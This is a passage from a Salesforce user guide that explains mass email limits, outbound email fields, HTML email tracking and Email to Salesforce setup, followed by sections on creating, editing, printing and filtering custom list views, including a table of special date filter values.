11. Click Finished to complete the mass email wizard.

See Also:
Guidelines on Sending Mass Email
Mass Email Status Messages
Email Fields
Field-Level Security Overview
What is a Person Account?

263

Email

Guidelines on Sending Mass Email

Guidelines on Sending Mass Email


Available in: Professional, Enterprise, Unlimited, and Developer Editions

When sending mass email, note the following.

Tips

You can send mass email to a total of 1,000 external email addresses per day per organization based on Greenwich Mean
Time (GMT). The maximum number of external addresses you can include in each mass email depends on the Edition
of Salesforce you are using:
Edition

Address Limit per Mass Email

Professional

250

Enterprise Edition

500

Unlimited Edition

1,000

Note: Note the following about email limits:


The single and mass email limits don't take unique addresses into account. For example, if you have
johndoe@example.com in your email 10 times, that counts as 10 against the limit.
You can send an unlimited amount of email to your internal users. These limits also apply to emails sent using
the API and Apex.
In Developer Edition organizations and organizations evaluating Salesforce during a trial period, your
organization can send mass email to no more than 10 external email addresses per day. This lower limit does
not apply if your organization was created before the Winter '12 release and already had mass email enabled
with a higher limit.

Before you send a mass email, create a custom view of contacts, leads, person accounts, or cases without an email address.
In the search criteria, choose Email equals, and leave the third field blank. You can then update those records before
sending your emails. Unfortunately, there is no way to validate an email address without sending an actual email message.
If your template contains a merge field for which there is no data in a particular record, that field does not appear in the
email you send. To find such blank fields, modify your recipient list view to search for the merge fields you are using in
your template, and enter the criterion <field> equals, leaving the third field blank. Edit those records that have blank
fields before you send your emails.
You can send a mass email to a recipient list that consists of contacts, leads, person accounts, or users you can view in
Salesforce.

Notes

If the email deliverability option Notify sender when mass email completes is selected, you receive an
auto-generated status email from Salesforce for each mass email you send. The subject line of the status email contains the
value you entered in the Mass Email Name field when sending the mass email.
Attachments in mass emails are sent as links rather than as physical files. When recipients click the attachment link in the
email, the attachment opens in a separate Web browser, and they can download the file. Attachments sent as links are
stored for 30 days.

264

Email

Email Fields

Limitations
Mass email can only be sent to an address in a standard email field. Mass email using a custom email field is not supported.
If a standard email field is hidden by field-level security, the Mass Email links for contacts and leads don't appear.
Email templates give you access only to the fields that are accessible to you via your page layout and field-level security
settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)
You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request.

See Also:
Sending Mass Email
Mass Email Status Messages
Configuring Deliverability Settings

Email Fields
Available in: All Editions

A Salesforce outbound email has the following fields, listed in alphabetical order.
Field

Description

Attachment

List of the attached files. The maximum total size of all email
attachments is 10 MB.

BCC

List of email addresses to which the email will be blind carbon


copied. Up to 2000 characters are allowed in this field. You
can separate email addresses by semi-colons, commas, spaces,
or new lines. Emails with addresses that contain parentheses,
such as john(smith)@acme.com, will not be sent.
The BCC: field is not available if your organization has enabled
compliance BCC emails.

Body

Main text of the email. Up to 384 KB of data are allowed in


this field.

CC

List of email addresses to which the email will be copied. Up


to 2000 characters are allowed in this field. You can separate
email addresses by semi-colons, commas, spaces, or new lines.
Emails with addresses that contain parentheses, such as
john(smith)@acme.com, will not be sent.

From

Automatically generated field containing your email address.

Related To

Existing account, asset, campaign, case, contract, opportunity,


product, solution, or custom object that the email is related
to. This field is not sent with the email, but is stored in the
Activity History with the email.

265

Email

Tracking HTML Email

Field

Description

Signature

Your personalized tag line. Set your signature via Email > My
Email Settings in the Personal Setup area. It is automatically
appended to individual emails. You can choose to append it
to mass emails.

Subject

Subject of the email. Up to 80 characters are allowed in this


field. The contents of this field display in bold if the email
Status is New.

To

Name of the contact, lead, or person account to which the


email will be sent. Only one name can be entered in this field.

Tracking HTML Email


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

After sending an HTML email, you can track the date it was first opened, the number of times it was opened, and the date
it was most recently opened.
Detail pages for contacts, leads, and person accounts include an HTML Email Status related list. Each email you send to a
person or mass distribution list is listed, including the date the email was sent, first opened, last opened, and the total number
of times it was opened by all users (multiple openings by the same user are counted). This list also includes automatic emails
such as those sent through Web-to-Lead and Web-to-Case response rules.

Click Send An Email to create a new message. See Sending Email on page 260 for more details on sending an email.
Click View All to view more details about all the items in the HTML Email Status related list.
Click Edit next to an email to add any notes to it.
Click Del to remove an email from the HTML Email Status related list.
Click the subject of an email to view the entire email message. If the subject is longer than 100 characters, it is truncated
with ellipses (...).

To report on the HTML email statistics listed in the HTML Email Status related list, use the HTML Email Status Report
available from the Reports tab.
Note: Add the HTML Email Status related list to your contact, lead, and person account page layouts before users
send HTML emails that they need to track.

See Also:
Customizing Activity Settings
What is a Person Account?

266

Email

Setting Up Email to Salesforce

Setting Up Email to Salesforce


Available in: All Editions except Database.com

Before you can use your Email to Salesforce address, you must configure it.
1. Click Your Name > Setup > Email > My Email to Salesforce.
Tip: We recommended that you add your Email to Salesforce address to the address book of your email client for
easy retrieval.
2. In My Acceptable Email Addresses, enter any email addresses you will use to send email. Separate multiple email
addresses with commas.
Important: Your Email to Salesforce address only accepts email from addresses you list. If you do not list any
email addresses, email sent to your Email to Salesforce address will not be associated to any records.
3. Choose whether you'd like all emails to be sent to My Unresolved Items so you can manually assign them to related records
or whether you'd like us to first try to automatically assign them.
4. Configure Email to Salesforce to add emails as activities to matching opportunities, leads, contacts, or all three.
5. If you selected leads or contacts, choose how Email to Salesforce should process emails containing lead or contact information
that matches duplicate records. Email to Salesforce can add the email activity to all matching records, to the oldest duplicate
record, or to the record that has greatest number of activities.
6. If you selected leads or contacts, you can select If no matching records are found, create a task and
send it to My Unresolved Items to have the email sent to My Unresolved Items if no matching records are found.
If this checkbox isn't selected and Salesforce can't identify the To or From email addresses, the email won't be saved in
Salesforce.
7. Select Always save email attachments to save attachments on emails sent to Salesforce. The size limit for an
attached file is 5 MB when attached directly to the related list. The size limit for all files attached to an email is 10 MB.
8. Select Email me confirmation of association to receive a confirmation email when emails are successfully
associated.
9. In Excluded Domains, enter any email domains you want to exclude from automatic association. Separate multiple
email domains with commas.
10. Click Save.

See Also:
Adding Email with Email to Salesforce

267

Email

Adding Email with Email to Salesforce

Adding Email with Email to Salesforce


Available in: All Editions except Database.com

To add an email to a matching lead, contact, or opportunity:


1. Compose an email from a third-party email account that you designated in My Acceptable Email Addresses field
on the My Email to Salesforce setup page.
2. Enter your Email to Salesforce address in the BCC field of your email.
3. Enter desired recipients in the To, CC, and BCC fields.
4. Send the email. Salesforce receives the email and, based on your My Email to Salesforce settings, adds it to either the
Activity History related list of matching records or the My Unresolved Items page, where you can manually assign it.
Unresolved emails also appear in your open task list.
To add an email to a specific Salesforce record:
1. Compose an email from a third-party email account that you designated in My Acceptable Email Addresses field
on the My Email to Salesforce setup page.
2. In Salesforce, locate the record ID of the record you want the email associated with. The record ID is the 15-digit,
case-sensitive, alphanumeric code that displays at the end of the URL for a record. For example, if you view the detail page
of a campaign record, the URL will look similar to this: https://na1.salesforce.com/701D0000000HQZy; the
record ID for this record is 701D0000000HQZy.
3. In the subject line or body of the email, type ref: followed by the record ID. For example: ref: 701D0000000HQZy.
Note: Record IDs can either be typed on a separate line or within the email body text if surrounded by (), [], or
{}. For example: (ref: 701D0000000HQZy). Multiple record IDs must be separated with commas, for example:
ref: 701D0000000HQZy, 801D0000000IRAz, 901D0000000JSBa.
4. Enter your Email to Salesforce address in the To, CC, or BCC fields of your email.
5. Optionally enter additional recipients in the To, CC, or BCC fields.
6. Send the email.
Salesforce receives the email and adds it to the Activity History related list for each record that matches a record ID specified
in the email. Invalid IDs or IDs for records that you do not have read access to are ignored.
If Email to Salesforce is configured to associate email with matching leads, contacts, or opportunities, an unresolved task
is created when an email is associated to a lead, contact, or opportunity using only a record ID and not a matching email
address. For example, if you have configured emails to be associated with matching leads and you send an email directly
to your Email to Salesforce address with a lead record ID in the body or subject line of the email, the email is associated
to the lead and an unresolved task is created.

See Also:
Setting Up Email to Salesforce

268

Email

Guidelines on Using Email to Salesforce

Guidelines on Using Email to Salesforce


Available in: All Editions except Database.com

If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to leads, contacts,
opportunities, and other records in Salesforce. When composing, forwarding, or replying to email, simply enter your Email
to Salesforce address in the BCC field or any recipient field. Salesforce receives a copy of the email and, depending on your
configuration, adds it to either the Activity History related list of the matching records or to the My Unresolved Items page,
where you can manually assign it.

Tips

An administrator must activate Email to Salesforce for your organization. After activation, Salesforce generates a unique
Email to Salesforce address for each user. Users receive an automated email from Salesforce that contains their Email to
Salesforce address. The Email to Salesforce address can also be viewed by clicking Your Name > Setup > Email > My
Email to Salesforce. The Email to Salesforce address is automatically generated and cannot be changed.
You can also save a message as an email activity without sending or resending it to another person. Simply forward the
email with your Email to Salesforce address in the To field. Be sure that there are no other email address in the To, CC,
and BCC fields. Salesforce receives a copy of the email and searches the From, To, and CC fields in the forwarded email
for the email addresses of your leads and contacts. If any leads or contacts are found, Salesforce saves the email in the
Activity History related list on the appropriate record.
When you use Email to Salesforce to save a message as an email activity, the default task type is specified by the Send
Email Default setting. You can change the default value by editing the Task Type picklist field.
You don't need to configure Email to Salesforce to associate emails to matching records. Salesforce searches emails sent
to your Email to Salesforce address for a record ID, then looks for the record. If related records are found, Salesforce adds
the email to either the Activity History related list on those records or to the My Unresolved Items page, where you can
manually assign them.

Notes

You can use Email to Salesforce with email client applications such as IBM Lotus Notes and Microsoft Outlook, as
well as webmail such as Gmail and Yahoo! Mail.
The email addresses you use to send Email to Salesforce must be configured in the My Acceptable Email Addresses
field in the My Email to Salesforce setup page.
Email to Salesforce attempts to match the email address found in the To or CC fields with the one in the Email standard
field. It doesn't support matching on custom email fields.
The maximum number of email addresses that Email to Salesforce can match is 50. If the combined number of addresses
in the To and CC fields exceeds this limit, Email to Salesforce processes only the first 50 unique addresses in the email.
If Email to Salesforce matches an email address to multiple lead or contact records in Salesforce, you can choose to associate
the email with all matching records, the oldest record, or the record with the most activity.
If Email to Salesforce matches an email to multiple opportunity records in Salesforce, the email is included in the activity
history on all matching open records.
If you configure Email to Salesforce to associate emails to matching leads or contacts, Salesforce searches the To and CC
fields for the email addresses of your leads or contacts. If any leads or contacts are found, Salesforce saves the email to the
Activity History related list on the appropriate record.
If you configure Email to Salesforce to associate emails to matching opportunities, Salesforce searches the To and CC
fields for the email addresses of your contacts. If contacts are found, Salesforce saves the email to the Activity History

269

Email

Resolving Your Unassigned Emails

related list on all open opportunities, as long as the contact is assigned a contact role on the opportunity. For example, the
contact may be assigned the role of Decision Maker on an opportunity.
If you use Gmail, see Using Gmail in Salesforce on page 338 to learn about the additional Gmail features that Salesforce
offers.
Email to Salesforce can create a maximum of 50 email activities for each email it receives.
The size limit for an attached file is 5 MB when attached directly to the related list. The size limit for all files attached to
an email is 10 MB. For each matching record, all attachments sent with the email are duplicated, which affects your data
size limit. Any attachments that aren't added are listed in the confirmation email you receive from Salesforce.
Email text and HTML is automatically truncated to 32 KB.
Email to Salesforce is required to use the Add Email feature with Salesforce for Outlook. Disabling one feature will
automatically disable the other. With Salesforce for Outlook, you add emails using the Add Email and Send and Add
toolbar buttons instead of the BCC field.

See Also:
Setting Up Email to Salesforce
Adding Email with Email to Salesforce
Enabling Email to Salesforce
Google Apps Overview
Resolving Your Unassigned Emails

Resolving Your Unassigned Emails


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view or edit unresolved emails:

Edit on tasks and Read on the objects you assign to the


email
AND
Email to Salesforce
OR
Add Email in Salesforce for Outlook and Email to Salesforce

To create new Salesforce records:

Edit on tasks
AND
Show Quick Create and Create on those objects

To see recently used data in the related records fields:

Lookup Auto-Completion in Search Settings

When emails are sent to Salesforce using Email to Salesforce or Salesforce for Outlook, some are automatically assigned to
related records based on your Email to Salesforce settings. The rest are added to My Unresolved Items, where you can either
assign them to related Salesforce records or confirm that you want to leave them unassigned.

270

Email

Resolving Your Unassigned Emails

1. Access your unresolved emails from the sidebar shortcut Unresolved Items.
2. Depending on how you want to resolve an email, choose either of these actions.

Assign to related recordsEnter a related record in one or both fields. If you need to, first select the correct record
type from the drop-down list. If you assign a lead, you can't assign additional records. Clear an entry to cancel an
assignment.
Leave unassignedClick Don't Assign. The text Unresolved Email: is removed from the subject line and the
email is assigned to you as a completed task. If the task's Status picklist includes more than one completed status,
we use the first one.

3. Click Save to save your changes. All modified items are removed from the list. You can return any time to resolve remaining
items. Clicking Cancel cancels all changes on the page. The email is added to the Activity History or Open Activities
related list of the associated records.

Tips

Unresolved emails also appear in your open task list. You can resolve an email from the email's task record by assigning it
to other Salesforce records. Assigned and completed emails are automatically removed from your unresolved emails and
open task lists.
Click next to an email to see its details.
Click Email to Salesforce Settings to view your email assignment settings.

See Also:
Guidelines on Using Email to Salesforce
My Unresolved Items Overview
Adding Email with Salesforce for Outlook
Using Gmail in Salesforce
Enabling Lookup Auto-Completion

271

List Views

Creating Custom List Views

LIST VIEWS
Creating Custom List Views
Available in: All Editions

User Permissions Needed


To create custom list views:

Read on the type of record included in the list

To create, edit, or delete public list views:

Manage Public List Views

You can create new list views to see a specific set of records such as contacts, documents, or campaigns. For example, create
a list view of accounts in your state, leads with a specific Lead Source, or opportunities above a particular Amount. You can
also create views of contacts, leads, users, or cases to use for mass email recipient lists.
To edit or delete any view you created, click Edit next to the View drop-down list. Administrators, and users with the Manage
Public List Views permission, can also edit or delete public views and some of the standard Salesforce views. Users without
the Manage Public List Views permission see the Clone link instead of Edit so they can clone a public or standard view.
To create a new view, click Create New View at the top of any list page or in the Views section of any tab home page. Fill in
the following:
1. Enter View Name
Enter the name to appear in the View drop-down list.
2. If you have the Customize Application permission, enter a unique name to be used by the API and managed packages.
3. Specify Filter Criteria
Filter by Owner
These options vary depending on the kind of record. In general, select All... or My... to specify the set of records
to search. There may be additional options:

Lead and case list views can be restricted by queue.


Price book list views can be restricted by price book.
Activity list views have several options; see Viewing Activity Lists on page 119.
If your organization has territory management, account and opportunity list views can be restricted by My
Territories or My Territory Teams. My Territories means records associated with territories to
which you belong. My Territory Teams means records associated with either territories to which you belong
or territories below you in the territory hierarchy.
If your organization has case teams, case list views can be restricted by My Case Teams.
If your organization has account teams, account list views can be restricted by My Account Teams.
If your organization has sales teams, opportunity list views can be restricted by My Sales Teams.

272

List Views

Creating Custom List Views

Filter by Campaign
This option is available on the following list views:

Contacts home
Leads home
Mass email contacts
Mass email leads
Mass add campaign members wizard
Mass update campaign members wizard

If you are editing a list view that is filtered by campaign, and do not have at least read access to the campaign, you
will receive an error when attempting to save the list view.
Filter by Division
If your organization uses divisions to segment data and you have the Affected by Divisions permission, select the
division that records in the list view must match. This option is disabled if you are not searching all records.
Select --Current-- to show records in your current working division.
Filter by Additional Fields
Optionally, enter filter criteria to specify conditions that the selected items must match, for example, Lead Source
equals Web. You can also use special date values in your filter criteria.
Note: When you select the Created Date field in a list view filter, the value you specify can only be a date
and not a time. This restriction does not apply to other filters.

4. Select Fields to Display


The default fields are automatically selected. You can choose up to 15 different fields to display in your view. You can
display only the fields that are available in your page layout. When you select a long text area field, up to 255 characters
are displayed in the list view.
a. To add or remove fields, select a field name, and click the Add or Remove arrow.
b. Use the arrows to arrange the fields in the proper sequence.
5. Restrict Visibility
If you are an administrator or a user with the Manage Public List Views permission, specify whether everyone or just
you can see the custom view. This option is not available in Personal Edition. To see a list view, users must also have the
appropriate Read permission on the type of records within the list view.
Alternatively, Enterprise, Unlimited, and Developer Edition users can specify a public group, role, or role including all
users below that role to see the custom view. To share the list view, select Visible to certain groups of users,
choose the type of group or role from the drop-down list, select the group or role from the list below it, and click Add.
Note: List views are visible to your customers in the Salesforce Customer Portal if the Visible to all users
radio button is selected for views on objects assigned to Customer Portal users' profiles. To create list views that
only your Salesforce users can see, select Visible to certain groups of users, and then share it with
the All Internal Users group or a selected set of internal groups and roles.
When implementing a Customer Portal, create custom views that contain only relevant information for Customer
Portal users, and then make those views visible to Customer Portal users by sharing them with the All Customer

273

List Views

Working with Enhanced Lists

Portal. Users group or a selected set of portal groups and roles. For more information about a Customer Portal,
see Setting Up Your Customer Portal on page 1664.
6. Click Save. The view appears in the View drop-down list so you can access it later.
You can rename an existing list view and click Save As to save the criteria of the list view without altering the original
view.
To navigate back to the last list page you viewed, click Back to list at the top of any detail page.
Note: The information you see in list views is only the data to which you have accesseither records you own or have
read or read/write access to, records that have been shared to you, or records owned by or shared with users in roles
below you in the role hierarchy.
In addition, you can view only those fields that are visible in your page layout and field-level security settings. (Field-level
security is available only in Enterprise, Unlimited, and Developer Editions). Archived activities are not included in
activity list views. You can use the Activity History related list to view these activities.
Tip: On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display
a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar
to quickly create an event associated with the record. Note that your administrator controls the availability of this
feature. For more information, see Working with Drag-and-Drop Scheduling on page 162.

See Also:
Printing List Views
Creating Mobile List Views
Filtering on Special Picklist Values
Navigating Long Lists
Deleting List Views
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Tip sheet: Tips & Hints for Custom Views

Working with Enhanced Lists


Available in: All Editions except Database.com

User Permissions Needed


To use inline editing in an enhanced list:

Mass Edit from Lists

Enhanced lists give you the ability to quickly view, customize, and edit list data to speed up your daily productivity. They must
first be enabled by your administrator for you to take advantage of them.

274

List Views

Working with Enhanced Lists

Enhanced lists allow you to:

Navigate through the list results by clicking the first page icon (<<), Previous, Next, or the last page icon (>>) at the bottom
of the list.
Jump to a specific page of results by entering a number in the text box in the lower right corner, and then pressing Enter.
Create a new view by clicking Create New View. Edit, delete or refresh the current view by clicking Edit, Delete, or ,
respectively.
Change the number of records displayed per page. Click
in the lower left corner of the list and select the desired setting.
You can view 10, 25, 50, 100, or 200 records at a time. When you change this setting, you return to the first page of list
results.
Changing your preference for the number of records displayed per page applies to all lists in all Salesforce apps, not just
the one currently displayed. In addition, if you change your preference to 200, a message warns you of possible performance
degradation.

Change the width of a column by dragging the right side of the column heading with your mouse. Any changes you make
to column widths are specific to that list only, and are preserved when you next view the list.
If you add or remove columns from a list, any column width customizations for that list are discarded automatically.

Change the order in which a column is displayed by dragging the entire column heading with your mouse to the desired
position. If you have permission to edit the list definition, your changes are automatically saved for all users who see the
list. If you do not have permission to edit the list definition, your changes are discarded when you navigate away from the
page.
Change the number and order of columns displayed by clicking Edit next to the list drop-down in the upper left corner.
See Creating Custom List Views on page 272.
If your administrator has enabled inline editing for your organization, edit single records directly from the list by
double-clicking on individual field values. If your administrator has granted you the Mass Edit from Lists permission,
you can also edit up to 200 records at a time. See Using Inline Editing in Lists on page 276.
On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display a weekly
view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly
create an event associated with the record. Note that your administrator controls the availability of this feature. For more
information, see Working with Drag-and-Drop Scheduling on page 162.

See Also:
Using Inline Editing in Lists
Customizing User Interface Settings
Creating Custom List Views
Navigating Long Lists

275

List Views

Using Inline Editing in Lists

Using Inline Editing in Lists


Available in: All Editions except Database.com

User Permissions Needed


To use inline editing in an enhanced list:

Mass Edit from Lists

If both inline editing and enhanced lists are enabled, you can edit records directly in a list. Editable fields display a pencil icon
( ) when you hover over the field, while non-editable fields display a lock icon ( ).
Caution: In enhanced list views, when different users make inline edits to the same fields on a record simultaneously,
records are updated with the most recent edit without a conflict error message.
To edit one record, double-click the editable value, specify a new value, and click OK.
If you have the Mass Edit from Lists permission, you can edit up to 200 records at once. To edit multiple records:
1. Select the checkbox next to each record you want to update. If you select records on multiple pages, Salesforce remembers
which records are selected.
2. Double-click one of the cells you want to edit. A dialog box displays allowing you to apply your edit to one record, or to
every record selected.
Note: You cannot edit multiple product records at once, they must be edited one at a time.

If you encounter any errors when trying to update records, a console window displays showing the name of each record in
error (if known), as well as a description of why the error occurred. Click the name of a record in the console window to open
that record's detail page in a new window. Salesforce keeps track of the records you've clicked in the error console by displaying
them in gray, strike-through text.
Note: To view the error console, pop-up blockers must be disabled for the Salesforce domain. To check if your browser
allows pop-up windows, click Your Name > Setup > My Personal Information > Reminders, and then click Preview
Reminder Alert.

Tips for Using Inline Editing with Lists


Note the following tips when using inline editing with lists:

Some standard fields do not support inline editing. For example, Case Status, Opportunity Stage, Opportunity
Amount, Opportunity Quantity and Lead Status, and most Task and Event fields can only be edited from a
record's edit page. For more information, see Editing Data Using Inline Editing on page 17.
If your organization uses record types, inline editing with lists is only available when all of the records in the list are of the
same record type. Therefore, you must specify a filter of Record Type equals X, where X is the name of a single
record type (or blank for the master record type).
To perform inline editing on an enhanced list, filter logic must be turned off in the list view filter criteria.
For lists of activities, you must specify an additional filter of either Task equals True (for tasks) or Task equals
False (for events) for inline editing to be available.

276

List Views

Viewing Chatter Feeds on List Views

If your organization is using Person Accounts:


You can't use inline editing to change them from a Contact list. You can only inline edit Person Accounts from an
Account list.
You can only use inline editing on contacts associated to business accounts by specifying an additional filter of Is
Person Account EQUALS False in your list criteria.

Viewing Chatter Feeds on List Views


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If Chatter is enabled, click Chatter on a standard or custom object list view to see a Chatter feed with updates from the last
30 days for the records included in the list view. Click List to display the list view again. You can choose a different list view
from either mode.

Click a record name to view the record, or a person's name to view their profile
Click Comment to comment on a post
Click Like to like a post
Click the timestamp of a post, for example, Yesterday at 12:57 AM, to see that post in the feed of its associated record
Click Show More to see older posts

Consider the following tips for Chatter feeds on list views:

You can only view Chatter feeds on list views for objects enabled for feed tracking
If drag-and-drop scheduling on list views is enabled, you won't see Chatter feeds on the list views for accounts, contacts,
or leads

See Also:
Using Chatter
Using Chatter Feeds

Printing List Views


Available in: All Editions except Database.com

User Permissions Needed


To print list views:

Read on the records included in the list

Note: Your administrator can enable and disable printable list views.

277

List Views

Navigating Long Lists

You can print list views for the following kinds of records:

Accounts
Activities
Campaigns
Cases
Contacts
Contracts
Custom objects
Documents
Leads
Opportunities
Permission sets
Price books
Profiles
Products
Reports
Solutions

To print a list view:


1. Navigate to a list view, for example, All Accounts on the Accounts tab.
2. Sort the contents of the list view as you want them printed.
3. Click .
Note: To change the sorting, close the printable view window, select the appropriate column header on the list
view, and then click .
4. To select how many records display, choose a value from the Number of Records drop-down list. You can display up
to 1,000 records. To show fewer records, refine your list view criteria. To print more than 1,000 records, run a report and
then click the Printable View button on the report.
5. In the upper right corner of the printable view window, click Print this Page.

See Also:
Creating Custom List Views

Navigating Long Lists


Available in: All Editions

Many list pages in Salesforce include the following tools for managing a large amount of data:

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.

278

List Views

Deleting List Views

To edit or delete any view you created, select it from the View drop-down list and click Edit.

At the top of a list, click a letter to show items that correspond to that letter, or click Other to show items whose names
begin with numbers or symbols. Click All to display all items that match the criteria of the current view.
To sort list view items by the data in a particular column, click that columns heading. This sorts text data alphabetically
and numerical data in ascending order. Dates are sorted with the most recent date first. To reverse the sort order, click the
column heading a second time.
Note: You can sort by any custom field except multi-select picklists.

Click the Previous Page or Next Page link to go to the previous or next set of items in the current view.
At the bottom of a list, click the fewer or more link to decrease or increase the number of items per page.

In some related lists with many items, the following links are available:

Click Show [number] more to increase the number of items in the list.
Click Go to list to display a secondary page of the entire related list.

See Also:
Creating Custom List Views
Viewing Profile Lists

Deleting List Views


Available in: All Editions

To delete one of your custom views, select the view from the drop-down list and click the Edit link. At the top of the page,
click the Delete button. If you are an administrator or a user with the Manage Public List Views permission, you can also
delete shared views as well as some standard views.

See Also:
Creating Custom List Views
Navigating Long Lists

279

List Views

Special Date Values for Filter Criteria

Special Date Values for Filter Criteria


Available in: All Editions

When you use a date field such as Create Date or Last Update Date to filter for a range of dates, use one or more of
the special date values to specify the range.
When you create a list view that includes a filter for a range of dates, use one or more of the special date values provided to
specify the range.
For example, to create a custom view or report of accounts created last week, enter Create Date equals LAST WEEK. For
special date values with variables (such as NEXT N DAYS), substitute N with any number greater than zero.
Date values are not case-sensitive. You can use LAST WEEK or last week.
You can use multiple range values in a single field, separated by commas.
Note: For Enterprise, Unlimited, Professional, and Developer Editions, the week is defined by the Locale drop-down
list in your personal information settings at Your Name > Setup > My Personal Information > Personal Information.
For Contact Manager, Group, and Personal Editions, the week is defined by the Locale setting in the company
profile at Your Name > Setup > Company Profile > Company Information. For example, when the Locale is US
English, a week runs Sunday to Saturday, whereas with UK English, a week spans Monday to Sunday.
Special Date Value

Range

YESTERDAY

Starts at 12:00:00 a.m. on the day before the current day and continues for
24 hours.

TODAY

Starts at 12:00:00 a.m. on the current day and continues for 24 hours.

TOMORROW

Starts at 12:00:00 a.m. on the day after the current day and continues for 24
hours.

LAST WEEK

Starts at 12:00:00 a.m. on the first day of the week before the current week
and continues for seven days.

THIS WEEK

Starts at 12:00:00 a.m. on the first day of the current week and continues
for seven days.

NEXT WEEK

Starts at 12:00:00 a.m. on the first day of the week after the current week
and continues for seven days.

LAST n WEEKS

Starts at 12:00:00 a.m. on the first day of the week that started n weeks
before the current week, and continues up to the current second.

NEXT n WEEKS

Starts at 12:00:00 a.m. on the first day of the week after the current week
and continues for n times seven days.

n WEEKS AGO

Starts at 12:00:00 a.m. on the first day of the week that started n weeks
before the start of the current week and continues for seven days.

LAST MONTH

Starts at 12:00:00 a.m. on the first day of the month before the current
month and continues for all the days of that month.

THIS MONTH

Starts at 12:00:00 a.m. on the first day of the current month and continues
for all the days of that month.

280

List Views

Special Date Values for Filter Criteria

Special Date Value

Range

NEXT n MONTHS

Starts at 12:00:00 a.m. on the first day of the month after the current month
and continues until the end of the nth month.

LAST n MONTHS

Starts at 12:00:00 a.m. on the first day of the month that started n months
before the current month and continues up to the current second.

n MONTHS AGO

Starts at 12:00:00 a.m. on the first day of the month that started n months
before the start of the current month and continues for all the days of that
month.

NEXT MONTH

Starts at 12:00:00 a.m. on the first day of the month after the current month
and continues for all the days of that month.

LAST 90 DAYS

Starts at 12:00:00 a.m. 90 days before the current day and continues up to
the current second. (The range includes today.)

NEXT 90 DAYS

Starts at 12:00:00 a.m. on the day after the current day and continues for 90
days. (The range does not include today.)

LAST n DAYS

Starts at 12:00:00 a.m. n days before the current day and continues up to
the current second. (The range includes today.)

NEXT n DAYS

Starts at 12:00:00 a.m. on the next day and continues for the next n days.
(The range does not include today.)

n DAYS AGO

Starts at 12:00:00 a.m. on the day n days before the current day and continues
for 24 hours. (The range does not include today.)

LAST QUARTER

Starts at 12:00:00 a.m. on the first day of the calendar quarter before the
current calendar quarter and continues to the end of that quarter.

THIS QUARTER

Starts at 12:00:00 a.m. on the first day of the current calendar quarter and
continues to the end of the quarter.

NEXT QUARTER

Starts at 12:00:00 a.m. on the first day of the calendar quarter after the
current calendar quarter and continues to the end of that quarter.

LAST n QUARTERS

Starts at 12:00:00 a.m. on the first day of the calendar quarter n quarters ago
and continues to the end of the calendar quarter before the current quarter.
(The range does not include the current quarter.)

NEXT n QUARTERS

Starts at 12:00:00 a.m. on the first day of the calendar quarter after the
current quarter and continues to the end of the calendar quarter n quarters
in the future. (The range does not include the current quarter.)

n QUARTERS AGO

Starts at 12:00:00 a.m. on the first day of the calendar quarter n quarters
before the current calendar quarter and continues to the end of that quarter.

LAST YEAR

Starts at 12:00:00 a.m. on January 1 of the year before the current year and
continues through the end of December 31 of that year.

THIS YEAR

Starts at 12:00:00 a.m. on January 1 of the current year and continues through
the end of December 31 of the current year.

NEXT YEAR

Starts at 12:00:00 a.m. on January 1 of the year after the current year and
continues through the end of December 31 of that year.

281

List Views

Special Date Values for Filter Criteria

Special Date Value

Range

n YEARS AGO

Starts at 12:00:00 a.m. on January 1 of the calendar year n years before the
current calendar year and continues through the end of December 31 of that
year.

LAST n YEARS

Starts at 12:00:00 a.m. on January 1 of the year that started n years before
the start of the current year and continues through December 31 of the
current year.

NEXT n YEARS

Starts at 12:00:00 a.m. on January 1 of the year after the current year and
continues through the end of December 31 of the nth year.

LAST FISCAL QUARTER

Starts at 12:00:00 a.m. on the first day of the fiscal quarter before the current
fiscal quarter and continues through the last day of that fiscal quarter. The
fiscal quarter is defined in the company profile at Your Name > Setup >
Company Profile > Fiscal Year.
Note: None of the FISCAL special date values are supported when
creating mobile custom views.

THIS FISCAL QUARTER

Starts at 12:00:00 a.m. on the first day of the current fiscal quarter and
continues through the end of the last day of the current fiscal quarter. The
fiscal quarter is defined in the company profile at Your Name > Setup >
Company Profile > Fiscal Year.

NEXT FISCAL QUARTER

Starts at 12:00:00 a.m. on the first day of the fiscal quarter after the current
fiscal quarter and continues through the last day of that fiscal quarter. (The
range does not include the current quarter.) The fiscal quarter is defined in
the company profile at Your Name > Setup > Company Profile > Fiscal
Year.

LAST n FISCAL QUARTERS

Starts at 12:00:00 a.m. on the first day of the fiscal quarter n fiscal quarters
ago and continues through the end of the last day of the previous fiscal
quarter. (The range does not include the current fiscal quarter.) The fiscal
quarter is defined in the company profile at Your Name > Setup > Company
Profile > Fiscal Year.

NEXT n FISCAL QUARTERS

Starts at 12:00:00 a.m. on the first day of the fiscal quarter after the current
fiscal quarter and continues through the end of the last day of the nth fiscal
quarter. (The range does not include the current fiscal quarter.) The fiscal
quarter is defined in the company profile at Your Name > Setup > Company
Profile > Fiscal Year.

n FISCAL QUARTERS AGO

Starts at 12:00:00 a.m. on the first day of the fiscal quarter n fiscal quarters
before the current fiscal quarter and continues through the end of the last
day of that fiscal quarter.

LAST FISCAL YEAR

Starts at 12:00:00 a.m. on the first day of the fiscal year before the current
fiscal year and continues through the end of the last day of that fiscal year.
The fiscal year is defined in the company profile at Your Name > Setup >
Company Profile > Fiscal Year.

THIS FISCAL YEAR

Starts at 12:00:00 a.m. on the first day of the current fiscal year and continues
through the end of the last day of the fiscal year. The fiscal year is defined

282

List Views

Filtering on Special Picklist Values

Special Date Value

Range
in the company profile at Your Name > Setup > Company Profile > Fiscal
Year.

NEXT FISCAL YEAR

Starts at 12:00:00 a.m. on the first day of the fiscal year after the current
fiscal year and continues through the end of the last day of that fiscal year.
